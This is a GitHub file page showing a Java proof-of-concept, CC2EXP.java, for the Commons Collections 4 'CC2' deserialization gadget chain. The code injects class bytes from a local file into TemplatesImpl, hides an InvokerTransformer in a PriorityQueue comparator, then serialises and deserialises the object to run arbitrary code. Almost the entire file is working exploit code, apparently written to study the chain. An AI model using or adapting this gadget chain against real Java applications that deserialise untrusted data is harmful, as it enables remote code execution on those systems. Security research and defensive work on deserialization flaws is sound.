Repository navigation
Expand file tree
/
Copy pathCC2EXP.java
More file actions
49 lines (44 loc) · 2.22 KB
/
Copy pathCC2EXP.java
File metadata and controls
49 lines (44 loc) · 2.22 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
// 因为 CC2 是基于 CC4 的，所以大部分链子都差不多，直接写了
public class CC2EXP {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, invokerTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}